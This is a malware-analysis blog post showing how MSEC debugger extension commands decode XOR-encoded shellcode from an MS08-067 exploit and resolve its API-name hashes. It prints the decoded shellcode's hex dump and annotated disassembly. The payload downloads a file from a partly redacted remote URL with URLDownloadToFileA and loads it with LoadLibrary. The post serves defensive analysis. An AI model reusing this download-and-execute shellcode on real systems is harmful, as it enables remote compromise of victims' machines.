In a previous post we provided some background on the !exploitable Crash Analyzer which was released earlier this year. One of the things that we didn’t mention is that !exploitable is just one of the debugger commands exported by the MSEC debugger extension. This extension also contains some additional commands that shellcode analysts may find useful. These commands can help with the process of decoding shellcode and resolving hashes to API names. In this post we will show how these commands can be used to help analyze shellcode from an exploit of MS08-067. In this example, the analysis begins prior to the exploit gaining control.
Decoding Utilities
Below is the beginning of the call-to-self GetPC in the shellcode:
0:016> u 010cf4fa
010cf4fa e8ffffffff call 010cf4fe ; call to self
010cf4ff c25f8d ret 8D5Fh
010cf502 4f dec edi
0:016> u 010cf4fe
010cf4fe ffc2 inc edx
010cf500 5f pop edi ; edi = 010cf4ff
Then an XOR decoder is used:
010cf501 8d4f10 lea ecx,[edi+10h] ; ecx = 010cf50f
010cf504 8031c4 xor byte ptr [ecx],0C4h
010cf507 41 inc ecx
010cf508 6681394d53 cmp word ptr [ecx],534Dh
010cf50d 75f5 jne 010cf504
010cf50f 38aec69da04f cmp byte ptr [esi+4FA09DC6h],ch ; encoded, disassembles to garbage
010cf515 85ea test edx,ebp
010cf517 4f dec edi
010cf518 84c8 test al,cl
010cf51a 4f dec edi
010cf51b 84d8 test al,bl
010cf51d 4f dec edi
010cf51e c44f9c les ecx,fword ptr [edi-64h]
010cf521 cc int 3
010cf522 49 dec ecx
010cf523 7365 jae 010cf58a
010cf525 c4 ???
010cf526 c4 ???
In order to decode the payload and further analyze the shellcode we could save the bytes in an external file, load the file in an application such as IDA Pro, and then run a decoder script over the bytes. This is a fairly tedious process. The MSEC debugger extension provides an alternative solution in the form of built-in decoding utilities that can help to expedite this task. One of these commands is xoru:
0:016> !msec.xoru
Usage : !xoru [-b] address [len] key
Example: !xoru eax 64 DD
Example: !xoru -b eax 64 DD (Leave the transformed buffer in memory)
Example: !xoru 0x00123456 DD (using default length = 256)
0:016> !msec.xoru 010cf50f c4
0x010cf50f FC 6A 02 59 64 8B 41 2E 8B 40 0C 8B 40 1C 8B 00 8B .j.Yd.A..@..@....
0x010cf520 58 08 8D B7 A1 00 00 00 E8 29 00 00 00 50 E2 F8 8B X........)...P...
0x010cf531 FC 56 FF 17 93 83 C6 07 E8 18 00 00 00 33 D2 52 52 .V...........3.RR
0x010cf542 8B CC 66 C7 01 78 2E 51 FF 77 04 52 52 51 56 52 FF ..f..x.Q.w.RRQVR.
0x010cf553 37 FF E0 AD 51 56 95 8B 4B 3C 8B 4C 0B 78 03 CB 33 7...QV..K<.L.x..3
0x010cf564 F6 8D 14 B3 03 51 20 8B 12 03 D3 0F 00 C0 0F BF C0 .....Q ..........
0x010cf575 C1 C0 07 32 02 42 80 3A 00 75 F5 3B C5 74 06 46 3B ...2.B.:.u.;.t.F;
0x010cf586 71 18 72 DB 8B 51 24 03 D3 0F B7 14 72 8B 41 1C 03 q.r..Q$.....r.A..
0x010cf597 C3 8B 04 90 03 C3 5E 59 C3 60 A2 8A 76 26 80 AC C8 ......^Y.`..v&...
0x010cf5a8 75 72 6C 6D 6F 6E 00 99 23 5D D9 68 74 74 70 3A 2F urlmon..#].http:/
0x010cf5b9 2F xx xx 2E 32 33 2E xx xx xx 2E xx xx xx 3A 33 38 /xx.23.xxx.xxx:38
0x010cf5ca 31 38 2F 6D 79 6B 75 00 89 97 8C B5 A8 A8 B4 97 82 18/myku..........
0x010cf5db 92 A6 93 94 AF BE 87 A1 AD 8F A8 89 8D B6 8D AD 9D .................
0x010cf5ec 97 B4 8D 94 89 B2 BD BD B6 B4 BE AC A9 91 8C 80 91 .................
0x010cf5fd 95 AA A6 96 89 93 87 8E 93 AD 9E 97 9D 8B A8 B1 A8 .................
0x010cf60e B2
010cf50f fc cld
010cf510 6a02 push 2
010cf512 59 pop ecx
010cf513 648b412e mov eax,dword ptr fs:[ecx+2Eh]
010cf517 8b400c mov eax,dword ptr [eax+0Ch]
010cf51a 8b401c mov eax,dword ptr [eax+1Ch]
010cf51d 8b00 mov eax,dword ptr [eax]
010cf51f 8b5808 mov ebx,dword ptr [eax+8]
010cf522 8db7a1000000 lea esi,[edi+0A1h]
010cf528 e829000000 call 010cf556
010cf52d 50 push eax
010cf52e e2f8 loop 010cf528
010cf530 8bfc mov edi,esp
010cf532 56 push esi
010cf533 ff17 call dword ptr [edi]
010cf535 93 xchg eax,ebx
010cf536 83c607 add esi,7
010cf539 e818000000 call 010cf556
...
It’s worth noting that this shellcode utilizes a stop marker instead of a counter for the XOR loop, hence we used the default decoding length (256) since the shellcode size is less than that. Continuing on to the decoded payload, we can see that the exploit starts with finding the base address of kernel32.dll:
010cf510 6a02 push 2
010cf512 59 pop ecx
010cf513 648b412e mov eax,dword ptr fs:[ecx+2Eh]
010cf517 8b400c mov eax,dword ptr [eax+0Ch]
010cf51a 8b401c mov eax,dword ptr [eax+1Ch]
010cf51d 8b00 mov eax,dword ptr [eax]
010cf51f 8b5808 mov ebx,dword ptr [eax+8] ; ebx = kernel32.dll base address
For detailed explanation about the code, see [1].
API Name Hash Resolver Utilities
After the base address of kernel32.dll has been found, the shellcode then invokes an API hash name resolver:
010cf522 8db7a1000000 lea esi,[edi+0A1h] ; esi = 010cf5a0.
010cf528 e829000000 call 010cf556 ; Call API name hash resolver
The resolver returns the address of the target function whose hash value is pointed to by ESI and whose module address is in EBX. Since the value in the ESI register is statically known, we can find the pre-computed hash value which the shellcode attempts to match:
0:016> dd 010cf5a0 L1
010cf5a0 b24e66a4
However, due to the default behavior of xoru, this value is not correct because the decoded bytes do not exist in memory. In this case, we can use the “-b” switch which causes xoru to leave the transformed buffer in memory:
0:016> !msec.xoru -b 010cf50f c4
0:016> dd 010cf5a0 L1
010cf5a0 768aa260
Now we can find out the actual API name via !msec.ror:
0:016> !msec.ror
Usage: !ror [-n <rotation count="">] [-c <value>] [-x]
Example: Get API name for hash value 0x0E8AFE98 using default rotation count 13.
!ror 0x0E8AFE98</value></rotation>
The purpose of this command is to determine the function that corresponds to a given ror hash. A ror hash is often used by shellcode that runs on Windows as a means of locating exported symbols such as LoadLibraryA, WinExec, and so on. It’s worth noting that this particular shellcode uses ROL instead of ROR and the current version of the MSEC debugger extension does not support ROL. However, since ROL(n) = ROR(32-n), ROR(25) has the same effect as ROL(7):
010cf575 c1c007 rol eax,7
010cf578 3202 xor al,byte ptr [edx]
0:016> !msec.ror -x -n 25 768aa260
ExitThread (kernel32.dll)
It should also be noted that the shellcode XOR’s the next character to the hash accumulator instead of ADD, hence the “-x” switch. In this way, we can find the rest of the API calls the shellcode makes:
0:016> !msec.ror -x -n 25 c8ac8026
LoadLibraryA (kernel32.dll)
0:016> !msec.ror -x -n 25 d95d2399
URLDownloadToFileA (urlmon.dll)
With this knowledge, we’re in a better position to be able to quickly finish analyzing the shellcode:
010cf50f fc cld
010cf510 6a02 push 2
010cf512 59 pop ecx ; ecx = 2
010cf513 648b412e mov eax,dword ptr fs:[ecx+2Eh]
010cf517 8b400c mov eax,dword ptr [eax+0Ch]
010cf51a 8b401c mov eax,dword ptr [eax+1Ch]
010cf51d 8b00 mov eax,dword ptr [eax]
010cf51f 8b5808 mov ebx,dword ptr [eax+8] ; ebx = kernel32.dll base
010cf522 8db7a1000000 lea esi,[edi+0A1h] ; esi = 010cf5a0. esi points to
; the hash value to resolve
010cf528 e829000000 call 010cf556 ; Call API hash solver. esi += 4.
010cf52d 50 push eax ; Push the resolved function
; pointer (kernel32!ExitThread)
; onto the stack
010cf52e e2f8 loop 010cf528 ; Since ecx = 2, resolve
; (kernel32!LoadLibraryA) and push
; it onto the stack
010cf530 8bfc mov edi,esp ; edi = LoadLibrary
010cf532 56 push esi ; esi = 010cf5a8 = "urlmon"
010cf533 ff17 call dword ptr [edi] ; Call LoadLirary("urlmon")
010cf535 93 xchg eax,ebx ; ebx = module handle to
; urlmon.dll (base address)
010cf536 83c607 add esi,7 ; esi = 010cf5af
010cf539 e818000000 call 010cf556 ; Call API hash solver. esi += 4.
010cf53e 33d2 xor edx,edx ; eax = urlmon!URLDownloadToFileA
010cf540 52 push edx ; An argument to ExitThread
010cf541 52 push edx ; NULL terminate string
010cf542 8bcc mov ecx,esp
010cf544 66c701782e mov word ptr [ecx],2E78h ; ecx = pointer to “.x”
010cf549 51 push ecx ; After URLDownloadToFileA,
; LoadLibrary takes this string as
; an argument.
010cf54a ff7704 push dword ptr [edi+4] ; Func ptr kernel32!ExitThread.
; After URLDownloadToFileA,
; LoadLibrary(“.x”) returns
; to ExitThread here.
010cf54d 52 push edx ; lpfnCB = NULL
010cf54e 52 push edx ; dwReserved = 0
010cf54f 51 push ecx ; szFileName = “.x”
010cf550 56 push esi ; szURL
010cf551 52 push edx ; pCaller = NULL
010cf552 ff37 push dword ptr [edi] ; Func ptr LoadLibrary.
; URLDownloadToFileA returns to
; LoadLibrary here.
010cf554 ffe0 jmp eax ; Jump to URLDownloadToFileA
Conclusion
We have shown how the MSEC debugger extension can help expedite the analysis of shellcode by providing some helper functionality. We hope that these tools will help increase the efficiency and effectiveness of shellcode analysts.
- Jinwook Shin, MSEC Security Science
*Postings are provided “AS IS” with no warranties, and confers no rights.*
References
[1] skape, Understanding Windows Shellcode. http://www.hick.org/code/skape/papers/win32-shellcode.pdf